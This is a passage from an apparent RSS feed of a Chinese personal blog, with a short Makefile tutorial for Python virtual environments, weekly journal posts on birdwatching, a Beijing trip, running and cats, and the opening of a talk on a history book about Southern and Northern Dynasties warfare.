&lt;p&gt;所以得到Makefile&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;venv/bin/activate: requirements.txt
 python3 -m venv venv
 ./venv/bin/pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是每次都要写 &lt;code&gt;./venv/bin/&lt;/code&gt; 比较麻烦，可以使用变量做一下简化&lt;/p&gt;
&lt;p&gt;即声明一个变量 &lt;code&gt;VENV&lt;/code&gt; 它的值默认为 &lt;code&gt;venv&lt;/code&gt; 目录，但是你也可以通过命令行传递的方式来修改&lt;/p&gt;
&lt;p&gt;引用变量的方式则是 &lt;code&gt;$(VENV)&lt;/code&gt;，可以理解为简单的字符串替换，于是Makefile就可以修改为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VENV = venv
PYTHON = $(VENV)/bin/python3
PIP = $(VENV)/bin/pip

run: $(VENV)/bin/activate
 $(PYTHON) app.py
.PHONY run


$(VENV)/bin/activate: requirements.txt
 python3 -m venv $(VENV)
 $(PIP) install -r requirements.txt


clean:
 rm -rf __pycache__
 rm -rf $(VENV)
.PHONY clean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单总结&lt;/p&gt;
&lt;p&gt;有了GPT之后，其实Makefile完全可以让GPT来代劳，对于其语法完全可以做一个简单了解，能看懂就行了，所以我也只列举出了最简单的语法以及对应的示例。&lt;/p&gt;
&lt;p&gt;不得不说有了AI之后，诸如此类的工作已经完全不用开发者操心了。从另一个方面来说，以前觉得一些麻烦的，不太想了解的技术细节，其实往往有很多意想不到的作用。&lt;/p&gt;
&lt;p&gt;具体到Makefile，完全可以将其当做一系列命令的封装，以及一些繁琐依赖人工记录的步骤，甚至可以将其当做README文件来使用了。&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报32 第三次感动</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A532-%E7%AC%AC%E4%B8%89%E6%AC%A1%E6%84%9F%E5%8A%A8/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A532-%E7%AC%AC%E4%B8%89%E6%AC%A1%E6%84%9F%E5%8A%A8/</guid><pubDate>Wed, 06 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报32 第三次感动&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeieuitpxeimn4mipveukgsccr4u2tmkf55z5mh3cbj5au6vip3a7wu.png&quot; alt=&quot;zhoubao32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;https://open.spotify.com/track/0plHBfV2PAWAFKGvhTfMLC?si=-KSGF-pZSpCy8195bVrccA&amp;amp;context=spotify%3Aalbum%3A6F8uiNvpfUdMTpPGPRCK6o&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我最喜欢的歌手萨莎，出自她今年的新专辑《Me Again》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我自觉是一个很难坚持长久做一件事情的人，过于理想主义，或者说是天真加上完美主义吧，总是容易头脑发热，却又无法长期坚持下去&lt;/p&gt;
&lt;p&gt;本来以为写博客也是这样一个半途而废的事情，最开始是被xlog这样一个开放包容的开源创作社区所感动，拥有一个web3的博客是一件非常cool的事情。&lt;/p&gt;
&lt;p&gt;在融入xlog社区之后，也不断经营自己的blog，认识到了同样很多写独立博客的朋友，在书写自己生活的同时，也总是能收获到一些认同感，同时也被追求独立博客的愿景所感动。&lt;/p&gt;
&lt;p&gt;然而随着工作上日渐繁忙，以及自己状态的持续低迷，我好像开始逃离这一切。喜剧之王单口秀上，阎鹤祥讲述自己为了逃离郭麒麟，逃离说相声，他骑着摩托车，穿过中亚欧洲，越过大西洋，越过巴拿马海峡，抵达潘帕斯草原，来到了地球上离自己家乡最远的对跖点。&lt;/p&gt;
&lt;p&gt;在这个点上，是他离自己烦恼最远的地方，你再也无法迈开任何一步，你想爬到最高处，离烦恼更远一点，可是那连一棵树都没有。&lt;/p&gt;
&lt;p&gt;但反过来，你之后走的每一步，都是离自己曾经的梦想又近了一步。&lt;/p&gt;
&lt;p&gt;我本来并不打算去尝试follow应用的，因为我知道我自己连rss订阅应用都换了好几个，也并没有坚持把rss的阅读习惯培养起来。&lt;/p&gt;
&lt;p&gt;但当我下载体验之后，我知道这确实是一个只存在于理想中的应用，虽然它可能还有一些不完美的地方，但它确实就是我今年的最佳应用了&lt;/p&gt;
&lt;p&gt;流畅的阅读体验，合理的订阅分类，众多的独立博客作者，大量的优质订阅源，读者与作者之间的互动，无不让我第三次感动。&lt;/p&gt;
&lt;p&gt;一瞬间，我感觉我又活过来了，曾经被压抑的表达欲望，曾经对自己的种种质疑通通烟消云散，我相信我是可以坚持写下来的。&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;打鸟🐦打鸟🐦打鸟🐦打鸟🐦&lt;/p&gt;
&lt;p&gt;早上6点15左右起床，简单洗漱后就直奔深圳湾。&lt;/p&gt;
&lt;p&gt;第一次接触到打鸟的乐趣，遗憾的是腾龙28-200能拍到的实在是太有限了&lt;/p&gt;
&lt;p&gt;深圳湾，早上7点左右的天空，太阳刚刚从云层中探出来，远处的天空中有淡淡的红光，这四只小鸟的飞行动作，让我疑心是不是一只鸟的慢动作回放😂&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeiahhrwe4dgkahn57k6licmopqrfwhfnxk5wcad66tlc24tgcjbvua.jpeg&quot; alt=&quot;DSC06025&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;朋友说这种副厂的镜头有两种做法，一种是优先照顾广角，像腾龙28-200就是这样，一种是优先照顾长焦，并且疯狂安利腾龙的50-400，好吧我又想买镜头了😅&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihdef3srbytij3fkmb2442tsqjx3mwi5miyzzrzrqxbiofz3axxpq.jpeg&quot; alt=&quot;老鹰&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不过天鹅湖倒是非常值得一去，咔咔咔一顿拍，结果发现拍的都不咋地.. 勉强放几张能看的吧：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreihedwk2o2buvo6zzf36gvogoouttuj23h6pluedkhh7g4dbvhjtt4.jpeg&quot; alt=&quot;IMG_0167&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreiapcloajspoh6rppr75c4vgsevmyt6znikvzjacqxaoekt5svb6lq.jpeg&quot; alt=&quot;IMG_0182&quot; /&gt;&lt;/p&gt;
&lt;p&gt;鸟事一堆！超崩溃鸟类观察笔记读书会&lt;/p&gt;
&lt;p&gt;第一次接触到“观鸟”这个稍显小众的爱好，感谢见夏学姐的提议，让我深深入迷了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;喜欢观鸟的朋友都会给自己起个自然名，比如这次的讲师就叫山羊， “见夏”这个名字也是来源一种植物&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这确实是一本特别有意思的书，作者手绘了许多鸟类，并且在书中给它们取了好多有趣的别名&lt;/p&gt;
&lt;p&gt;书的封面：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;./attachments/bafkreiebsdsq4i3y7egeva4kzy3vanb7xnjvqctn2qqbwgi4pcfbeb66r4.png&quot; width=&quot;300&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;作者画的小鸟太有趣了哈哈：&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;./attachments/bafybeiguivaswz7nzwhvi7yhmuk36ctafnsbzoqbbq53kskj7tw64f3xgu.png&quot; width=&quot;300&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;一些值得分享的记录&lt;/p&gt;
&lt;p&gt;文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;介绍了很多mac上的工具，非常全面，我都是头一次知道Apple notes可以安装插件来写markdown的 https://blog.ursb.me/posts/mac-app-share-2024/&lt;/li&gt;
&lt;li&gt;介绍follow的使用，非常全面了，可能我也会写一篇类似的吧 https://www.pseudoyu.com/zh/2024/11/04/follow_information_acquisition_revolution/&lt;/li&gt;
&lt;li&gt;作者介绍了他面试Google的经历 https://justyy.com/archives/66293&lt;/li&gt;
&lt;li&gt;一道非常有意思的社工题目，最后一个脑洞是遍历pastebin链接的最后一个字符 https://hackmd.io/@c2uru/HJznxU6eyl&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;视频：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;王局终于还是出错了，回旋镖打回来了，但作为合格的媒体人，马上发视频道歉，并且还要直播道歉，对于指出他们错误的人还发放奖品 https://www.youtube.com/watch?v=xMZqTuLWSA4&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;追剧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最近在看《诊疗中》，我特别喜欢的一部喜剧  http://movie.douban.com/subject/36305116/&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;音乐：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sasha的《Me Again》专辑，百听不厌，虽然每首歌的曲调风格都比较相似，但这就是sasha最真挚感情的流露https://music.163.com/song?id=2135385131&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多分享可以加入我的频道：https://t.me/RayeJourney&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>认证follow作者</title><link>https://rayepeng.net/posts/%E8%AE%A4%E8%AF%81follow%E4%BD%9C%E8%80%85/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E8%AE%A4%E8%AF%81follow%E4%BD%9C%E8%80%85/</guid><pubDate>Tue, 05 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;认证follow作者&lt;/p&gt;
&lt;p&gt;This message is used to verify that this feed (feedId:41342818708527119) belongs to me (userId:41336155791057920). Join me in enjoying the next generation information browser https://follow.is.&lt;/p&gt;
</content:encoded></item><item><title>周报31 北京之行、跑步与猫片</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A531-%E5%8C%97%E4%BA%AC%E4%B9%8B%E8%A1%8C%E8%B7%91%E6%AD%A5%E4%B8%8E%E7%8C%AB%E7%89%87/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A531-%E5%8C%97%E4%BA%AC%E4%B9%8B%E8%A1%8C%E8%B7%91%E6%AD%A5%E4%B8%8E%E7%8C%AB%E7%89%87/</guid><pubDate>Sun, 04 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报31 北京之行、跑步与猫片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmZ6GpvnSejGwt7hnfo4G3wu34SW5XkzvZpCUStCX2ZGPx.png&quot; alt=&quot;weekpost31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写作不同，写作需要先有个想法。为了把这个想法表达出来，一个人不得不围绕着这个想法自己和自己争吵，自己和自己辩论。话语随口而出，随风而逝，然而文字却要落在纸上，所有人都隐隐约约知道，文字可能是自己的另外一张脸，需要慎重对待。&lt;/p&gt;
&lt;p&gt;—— 和菜头&lt;/p&gt;
&lt;p&gt;我发觉欠的内容实在是太多了，这其中又有太多残留在我记忆中的种种过往，有与不同人的时空交错，有与这个世界的诸多互动，有太多值得我去仔细思考的会回忆。&lt;/p&gt;
&lt;p&gt;我好像一直愿意相信平行宇宙的理论，相信此刻的当下无非是由我的选择所展开的多维宇宙在此刻的一处投影罢了。最近也刚好看到了一部美剧《Dark Matter》，讲述的就是多维宇宙的故事&lt;/p&gt;
&lt;p&gt;如果你习惯于漫威宇宙中对多维空间的描写，其中的主角穿梭到不同时空之后，仿佛跟没事人一样，还能顺原路找到自己的家，周围的人事物也都没有任何变化&lt;/p&gt;
&lt;p&gt;那你就大错特错了，真实的多维宇宙远没有那么简单。《Dark Matter》 是改编自同名小说《人生复本》，由于美剧节奏太慢了，于是我先把小说看完了。&lt;/p&gt;
&lt;p&gt;本以为穿梭平行宇宙是一个很简单的事情，但你要知道不仅仅是你此刻的选择影响了，他人的众多选择也会导致这个世界发生很大的变化。主角前几次穿梭的世界几乎都是末日景象，哪怕在他掌握了穿梭的秘诀之后，也几乎难以回到只被自己选择所影响的那个当下。&lt;/p&gt;
&lt;p&gt;这才是真正的多维宇宙啊，莫要以为真有什么后悔药，哪怕真的有也得历经千百次的尝试。&lt;/p&gt;
&lt;p&gt;所以好好记录当下吧~！&lt;/p&gt;
&lt;p&gt;北京之行&lt;/p&gt;
&lt;p&gt;距离高中去北京旅游过之后，算是时隔多年再一次来北京了，不过此刻我已经不再是当时那个懵懂的高中生，因为这一次是来出差的。&lt;/p&gt;
&lt;p&gt;如果要深入一个行业，当然是要去见识其中的每个人。我们此次的出行就是抱着这样一个目的，去和微信小游戏的开发者们做一次深入交流。&lt;/p&gt;
&lt;p&gt;给开发者介绍我们的能力，科普常见的问题，介绍最优的解决办法与最佳实践，同时感受开发者们的热情，解答他们的困惑。&lt;/p&gt;
&lt;p&gt;但我对于北京还是很抵触的，高中的那次旅途现在想起来都有点好笑，在北京的六天就没有吃一顿好的，完全不符合弗兰人的口味。又想起了辅导员在我们出发之前的聚餐上说的，这可能是你们这次北京旅途吃的最好的一顿了，辅导员真是诚不我欺啊hhh。&lt;/p&gt;
&lt;p&gt;于是在北京几乎不敢独自去任何地方吃饭，中间也和一位老同学及一位在阿里工作的同事吃过一次饭，要么北京烤鸭要么羊蝎子了。在北京，敢于随机选择一家餐馆吃饭的人才是真的勇士。&lt;/p&gt;
&lt;p&gt;开发者大会结束之后居然还空出一天，但是北京的常见景点，如天坛，颐和园，故宫，毛主席纪念馆，博物馆，长城等基本都去过了，于是也没有心思去，本想着要么去一趟首都图书馆待一天来着，但还是跟随导师一起去了一趟圆明园参观下。&lt;/p&gt;
&lt;p&gt;晚上则去了一趟罗刹海，一个不算太大的琥珀，感受下北京弄堂的悠远，见识下王府的恢弘大气。&lt;/p&gt;
&lt;p&gt;整个北京之行感觉并没有给我留下太多的深刻印象，尽管是一座历史古都，但其在我心中的地位却远不及西安洛阳南京等。&lt;/p&gt;
&lt;p&gt;收获最大的是读完了一本书《三国前夜： 士大夫政治与东汉皇权的崩解》 https://book.douban.com/subject/36699839/&lt;/p&gt;
&lt;p&gt;跑步与专注&lt;/p&gt;
&lt;p&gt;为了减肥，真的是为了减肥，在羽毛球教练的建议下，开始了每天早晨的空腹有氧跑步&lt;/p&gt;
&lt;p&gt;最开始坚持起来还是挺难的，毕竟跑步也中断了一段时间了。&lt;/p&gt;
&lt;p&gt;以前跑步是喜欢横冲直撞的，上来就马力开足，跑步机时速直接干到11、12，开始狂奔。&lt;/p&gt;
&lt;p&gt;但很快就坚持不下来，坚持跑个五分钟已经是极限，于是只能减速到6，开始慢走喘气，等到体力堪堪恢复一段又开始狂冲。&lt;/p&gt;
&lt;p&gt;但我觉得有必要稍微调整下，于是就保持9km/h的速度，试试能不能坚持跑半小时。&lt;/p&gt;
&lt;p&gt;本以为是一件很轻松的事情，毕竟11km/h都可以跑，9km/h不是小菜一碟吗。&lt;/p&gt;
&lt;p&gt;但很快你就发现，坚持匀速跑步，才是一项更大的挑战。&lt;/p&gt;
&lt;p&gt;刚开始跑的时候自然觉得没啥，甚至觉得速度还能再上去，但奈何被跑步机限制了，于是只能慢下性子。到后期又发觉体能跟不上去了，此时又不能减速。&lt;/p&gt;
&lt;p&gt;于是开始领悟到，如果我能坚持匀速跑下来，应该对体能有很大的改善。&lt;/p&gt;
&lt;p&gt;目前已经坚持跑了两个月了，6月跑的比较勤，7月因为北京出差的关系则中断了一些。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmT5CQ9xju8L6XdrgVcuQQ2cr9cQepF12YF9zv8Dvcofbg.png&quot; alt=&quot;IMG_9026&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmR8kwSZTMm97bWvzwdSSfqwBZgG6KkGafYZ6Q5a1fXipC.png&quot; alt=&quot;IMG_9025&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmYb4tV7LfAzjpagUDxtXz1VTdxFfiypagaHGFgnKm73rr.png&quot; alt=&quot;IMG_9024&quot; /&gt;&lt;/p&gt;
&lt;p&gt;猫片&lt;/p&gt;
&lt;p&gt;不多说了，猫猫真的好可爱，虽然不是我养的（下午去川鸽家一起拍猫猫）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXxg6VKnmznXErUQnztNvZRnbGufKddCgemZ2vkyuoysR.jpeg&quot; alt=&quot;DSC02672&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmaLkY3Cv87VksNTUSA78hxGh6igraGg6woXvHkYjuJhnb.jpeg&quot; alt=&quot;DSC02689&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmcMptJyRKURvPJnYHCm6DuYR23zipZEGxVuJBGf56hLck.jpeg&quot; alt=&quot;DSC02662 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSeT7RkBBtpM8aLEYTJaDPDYGU4vKxegzCTxTi6HQMu4E.jpeg&quot; alt=&quot;DSC02681&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmbFVgk9uyFMBq6CMk1pCdohFMcu75ktLpNd9Bf1vumeR4.jpeg&quot; alt=&quot;DSC02441&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmVdL1XP7hLU4mf8ixZpdXhti2m5N7X2HPAkHUTVAPnUwp.jpeg&quot; alt=&quot;DSC02439&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一些值得分享的记录&lt;/p&gt;
&lt;p&gt;欢迎 join 我的频道，https://t.me/RayeJourney&lt;/p&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>南北战争三百年：中国4—6世纪的军事与政权 读书分享</title><link>https://rayepeng.net/posts/%E5%8D%97%E5%8C%97%E6%88%98%E4%BA%89%E4%B8%89%E7%99%BE%E5%B9%B4%E4%B8%AD%E5%9B%BD46%E4%B8%96%E7%BA%AA%E7%9A%84%E5%86%9B%E4%BA%8B%E4%B8%8E%E6%94%BF%E6%9D%83-%E8%AF%BB%E4%B9%A6%E5%88%86%E4%BA%AB/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%8D%97%E5%8C%97%E6%88%98%E4%BA%89%E4%B8%89%E7%99%BE%E5%B9%B4%E4%B8%AD%E5%9B%BD46%E4%B8%96%E7%BA%AA%E7%9A%84%E5%86%9B%E4%BA%8B%E4%B8%8E%E6%94%BF%E6%9D%83-%E8%AF%BB%E4%B9%A6%E5%88%86%E4%BA%AB/</guid><pubDate>Sat, 03 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;南北战争三百年：中国4—6世纪的军事与政权 读书分享&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmNSQmVhR3hdsqCtwEx56WqcavUibsuUwT4dgGSqgV6A1d.png&quot; alt=&quot;nanbie&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ppt参考：&lt;/p&gt;
&lt;p&gt;https://gamma.app/docs/-h164hf9xsdor2t8?mode=doc&lt;/p&gt;
&lt;p&gt;引入
正如我在对这本书的介绍中写到，
你有没有发现，无论是复联中的超级英雄，还是在电子游戏中，主角往往都偏爱使用冷兵器.&lt;/p&gt;
&lt;p&gt;明明科技都那么发达了，千里之外一发导弹就能解决的事，还要嘿嘿哈噫乱打一通.&lt;/p&gt;
&lt;p&gt;刀枪剑戟，策马扬鞭。所谓的“冷”兵器，反而最能让人热血沸腾.&lt;/p&gt;
&lt;p&gt;封狼居胥和勒石燕然的威名依旧威震四方，暗度陈仓与六出祁山仍然在不断假设与探讨中被演绎，南征与北伐，在这片土地的千年历史中一次又一次被不断重复.&lt;/p&gt;
&lt;p&gt;我一直很想分享一本关于历史的书，但又怕深陷于繁杂的细节中难以抽身。主要是害怕被大佬们挑战到，总觉得自己积累的不够。去年11月的时候，我也是在1803会议室，分享过一本《夜晚的潜水艇》，那是我当时觉得写的特别好的一本小说。今年呢，我想尝试下挑战历史题材，我不太喜欢那种中规中矩的去介绍某个朝代，政治、经济、文化、军事这些这些&lt;/p&gt;
&lt;p&gt;其实是我不太喜欢宏观视角的叙事，我更喜欢从一个侧面，或者从一个人物入手去思考历史，这也是我会和大家讨论的，就是你怎么去看历史，你更喜欢宏观叙事还是微观叙事&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;补充：我还记得曾经上学的时候，语文老师让我们轮流分享魏晋时代的名人，我的同学们当然都是介绍阮籍啦、嵇康、向秀这些人物，但我后来实在是不想这样循规蹈矩，于是我就从世说新语中受到启发，我分享的内容是这些名人儿童时候的经历，都说三岁看大，七岁看老，魏晋时代那些风云人物，他们的孩提时代，其实也有很多精彩的故事，从这些故事中，也可以看出未来他们的性格特点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;于是思来想去，我就挑了李硕老师的这本《南北战争三百年》，他提供了一个很棒的视角，让我们可以地理与战争为切入点，探讨历史演化的本质。而这正好是我最喜欢的&lt;/p&gt;
&lt;p&gt;关于作者&lt;/p&gt;
&lt;p&gt;李硕老师，其实如果说名字的话大家可能不一定很清楚，但如果说《翦商》的话，可能很多人就知道了。他是清华大学的历史系的博士，《南北战争三百年》其实是出自他的博士论文修改而来的，他最开始是写了一个短篇历史散文，讲的是刘裕北伐的故事，原文链接其实我分享过，那种他独有的散文风格，让我一下就喜欢上了他的书&lt;/p&gt;
&lt;p&gt;https://book.douban.com/review/9236601/&lt;/p&gt;
&lt;p&gt;马伯庸马亲王也是一位特别擅长写历史的作家，如果说马伯庸写历史是挖掘边角料再辅以天马行空的想象，那么李硕老师则是从学术分析的角度抽丝剥茧，加上严谨的考据和推理。 但得益于他散文式的笔法，读起来却并不枯燥，这也是促使我来分享的动力&lt;/p&gt;
&lt;p&gt;关于我&lt;/p&gt;
&lt;p&gt;我的话呢，也不用说太多，因为在分享之前，群里就已经在开始在各种期待了，大家叫我raye就好了。关于我的标签呢，是一个典型的ENFJ-A人，羽毛球二级左撇子选手，就是比一般路人稍微厉害点，还是个左撇子。也可兼职做心理咨询师，虽然我并不是这方面相关的，但是确实有很多朋友说跟我聊过之后收获很多，可能得益于我本身是一个比较乐观的人吧&lt;/p&gt;
&lt;p&gt;另外我也是一个经常失眠，然后失眠就喜欢胡思乱想的人，就像伍尔夫《墙上的斑点》一样，我的思维经常是跳跃性的，意识流的，所以如果你去看我的博客，里面记录的全是我胡思乱想的一些东西&lt;/p&gt;
&lt;p&gt;嗯对，程序员似乎都喜欢倒腾一下博客，我也是从上大学开始的，中间陆陆续续更换了好几个站点，不过现在就稳定下来了，域名就是这个，后面的文稿、ppt也都会放在博客里。哦如果你也想跟我交流下写博客的东西，也欢迎找我&lt;/p&gt;
&lt;p&gt;最后是介绍一下我的阅读经历吧，本来不太想放的，感觉有点制造焦虑，但我觉得有必要给自己增加一点背书，因为我基本只用微信读书看书，纸质书看得很少，所以时长比较长，然后又特别喜欢阅读历史相关的，欢迎和我一起探讨历史&lt;/p&gt;
&lt;p&gt;问题引入&lt;/p&gt;
&lt;p&gt;介绍了这么多，我们先来看几个问题吧，应该不是挺难，这里主要是让大家热热身，提前熟悉下历史&lt;/p&gt;
&lt;p&gt;1.中国王朝的更替顺序，秦汉三国两晋南北朝隋唐宋元明清，我们这次的历史跨度涉及主要是隋唐之前，即秦汉三国两晋南北朝
2.先秦至南北朝有哪些著名的战役&lt;/p&gt;
&lt;p&gt;这个挺多的，包括春秋战国时马陵之战，桂陵之战，长平之战，官渡之战，赤壁之战，夷陵之战等等&lt;/p&gt;
&lt;p&gt;3.先秦至南北朝有哪些著名将领
其实武庙十哲已经基本囊括了，田穰苴，杀神白起、韩信、张良、诸葛亮等等&lt;/p&gt;
&lt;p&gt;好，那我要讲什么呢？因为从介绍到这次分享会开始也只有一周的时间，相信很多人也不一定能看完，不过也无所谓了，我讲的内容不一定完全按照书里的来，大家听我讲就好&lt;/p&gt;
&lt;p&gt;主要是这几个大的问题：
1.骑兵作战技术从先秦到汉再到三国两晋南北朝的革新与演化
2.古代中国地理环境对于冷兵器战争的影响
3.经典的几场南北战争（北伐为什么那么难！）&lt;/p&gt;
&lt;p&gt;以及一些小的讨论点：
1.李广难封的原因
2.真实的骑兵冲锋是怎样的
3.马镫是什么时候发明的&lt;/p&gt;
&lt;p&gt;为什么好奇冷兵器&lt;/p&gt;
&lt;p&gt;提到冷兵器战争，可能会有个问题，也就是我们最开始提到的，为什么会好奇冷兵器呢？为什么即便是武器装备已经发展到了如今，还是有很多军事迷、电影、游戏都要去展现冷兵器的魅力呢？&lt;/p&gt;
&lt;p&gt;其实这就有点像蒸汽朋克一样，人永远是被一些能理解，能看到的事务所着迷，千里之外一发导弹命中确实很爽，但你看不到，你感知不到，这个过程太快了。但冷兵器不一样，有书友跟我说，这是为了方便做特效啊，对，因为冷兵器打得慢，打得慢就容易融入一些元素，可以做很多的特效&lt;/p&gt;
&lt;p&gt;提到冷兵器战争呢，其实古诗上面也有很多记载，不知道大家能想到多少，我这里随便列举了一些&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;一身转战三千里，一剑曾当百万师&lt;/li&gt;
&lt;li&gt;将军金甲夜不脱，半夜行军戈相拨，匈奴草黄马正肥，金山西见烟尘飞&lt;/li&gt;
&lt;li&gt;想当年，金戈铁马，气吞万里如虎&lt;/li&gt;
&lt;li&gt;梦里挑灯看剑，梦回吹角连营，八百里分麾下炙，五十弦翻塞外声，沙场秋点兵&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;迄今为止，对于冷兵器战争场面还原的最到位的，还是全面战争系列，其中最贴合我们理解的，就是《全面战争 三国》，我在后续也会多次引用到这款游戏&lt;/p&gt;
&lt;p&gt;认识古代中国&lt;/p&gt;
&lt;p&gt;好，既然要在这片土地上打仗了，那不认清楚这片土地又怎么行呢。中国的地理其实很复杂，算是地球上地理多样性最丰富的国家了吧，感觉没有之一&lt;/p&gt;
&lt;p&gt;我们学地理那会，都知道中国有四大高原、四大盆地、三大平原这些，但对于古代中国人的认知范围来说，还远没有这么深，&lt;/p&gt;
&lt;p&gt;隋唐之前，我们的核心版图基本局限于如下地区，向北最远抵达燕山，即燕云十六州，向南最远抵达南海，即古交州，也就现在的广州，但由于太过偏远了，是不参与中原争霸的，所以我们的最南其实就只抵达南岭了，即现在湖南裕广州的交接处&lt;/p&gt;
&lt;p&gt;插个题，马伯庸马亲王的新书《食南之徒》就是讲的在汉朝，广州这块土地上发生的故事&lt;/p&gt;
&lt;p&gt;那么在古人眼中的中国，其实刚好能构成一个类似九宫格的存在，为什么说是九宫格了，因为刚刚好每个版块就占据了一个格子&lt;/p&gt;
&lt;p&gt;这是我自己的认识哈哈哈，但是很容易理解&lt;/p&gt;
&lt;p&gt;我们知道中国按照秦岭——淮河是可以分为南北的，南北分界线上刚好分布着三个地理单元，然后北方和南方又可以再分别拆出三个地理单元&lt;/p&gt;
&lt;p&gt;来依次看，从九宫格的左边看起：
左上： 关中+晋中，也就是春秋战国时的秦国和晋国，也即如今的陕西省中部北部加上陕西省
左中：汉中盆地，自古汉中为蜀中之咽喉，因此汉中经常为关中与四川盆地的缓冲区，谁拥有了汉中，谁就拥有了用兵的前沿阵地（所以刘备拼死也要把汉中拿下来）
左下：四川盆地，自成一体&lt;/p&gt;
&lt;p&gt;中上：华北平原，即古代的冀州，三国时袁绍据有此地
中中：南阳盆地，同样是北方和南方的前沿阵地，其中襄阳为天下之咽喉，金庸小说中《神雕侠侣》中的郭靖和黄蓉，就是在此死守襄阳，抵御蒙古人的入侵
中下：江汉平原，古代楚国的大后方&lt;/p&gt;
&lt;p&gt;右上：山东半岛，即古代齐鲁大地
右中：江淮平原，古徐州，淮河流域，合肥，孙权快乐城就位于此，所以知道为啥孙权一定要死磕合肥了吧，为什么守江必守淮！
右下：长江下游的两个平原，鄱阳湖平原和太湖平原，古扬州&lt;/p&gt;
&lt;p&gt;如果一下无法消化也不要紧，主要是留一个初步的印象，后面在讲实际战争的时候也会结合来讲&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/QmU4wTdJH46o4nUWk9TnSAtipWzqct2UoX68yjNDvujqRe.png.png&quot; alt=&quot;DraggedImage&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;认识马&lt;/p&gt;
&lt;p&gt;了解了古代中国的地理环境之后，再来认识生活在这片土地上的一种动物，即马&lt;/p&gt;
&lt;p&gt;马这种生物比较有意思，我还记得小时候看过的《虹猫蓝兔七侠传》里，每一人都能骑马，连卧底马三娘，她自己就是马也能骑马哈哈哈&lt;/p&gt;
&lt;p&gt;马的特点不用多说：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;体型健壮&lt;/li&gt;
&lt;li&gt;耐力强&lt;/li&gt;
&lt;li&gt;速度快&lt;/li&gt;
&lt;li&gt;适应性高&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是马也有很多缺点，其中一条就是饲养成本高，这玩意特别糟蹋，要不停的吃和拉，而且拉出的粪便会污染土壤，不像牛，又能耕作，又能施肥&lt;/p&gt;
&lt;p&gt;农业民族是很痛恨马的&lt;/p&gt;
